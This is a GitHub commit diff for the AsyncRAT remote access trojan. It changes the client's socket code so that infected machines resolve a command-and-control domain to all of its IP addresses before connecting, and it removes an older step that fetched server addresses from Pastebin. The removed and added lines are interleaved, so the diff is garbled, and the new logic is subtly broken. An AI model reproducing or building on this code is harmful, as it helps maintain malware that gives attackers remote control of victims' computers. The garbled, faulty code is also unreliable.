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Merge pull request #56 from MrDevBot/patch-2

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DDNS Resolver for Initialise Client
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NYAN CAT 2019-06-17 10:49:30 +03:00 committed by GitHub
commit 7d988be105
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1 changed files with 21 additions and 14 deletions
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35
AsyncRAT-C#/Client/Sockets/ClientSocket.cs
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@ -44,21 +44,28 @@ namespace Client.Sockets
}; };
if (Settings.Pastebin == "null") if (Settings.Pastebin == "null")
{ {
Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]), Regex r = new Regex("^[a-zA-Z0-9]*$");
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]);
} Int16 ServerPort = Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
else
{
using (WebClient wc = new WebClient()) if (r.IsMatch(ServerIP)) //check if the address is alphanumric (meaning its a domain)
{ {
NetworkCredential networkCredential = new NetworkCredential("", ""); IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain
wc.Credentials = networkCredential;
string resp = wc.DownloadString(Settings.Pastebin); foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); {
Settings.Hosts = spl[0]; Client.Connect(theaddress, ServerPort); //lets try and connect!
Settings.Ports = spl[new Random().Next(1, spl.Length)]; }
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
} }
else
{
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
}
//Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
// Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
} }
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
@ -193,4 +200,4 @@ namespace Client.Sockets
} }
} }
} }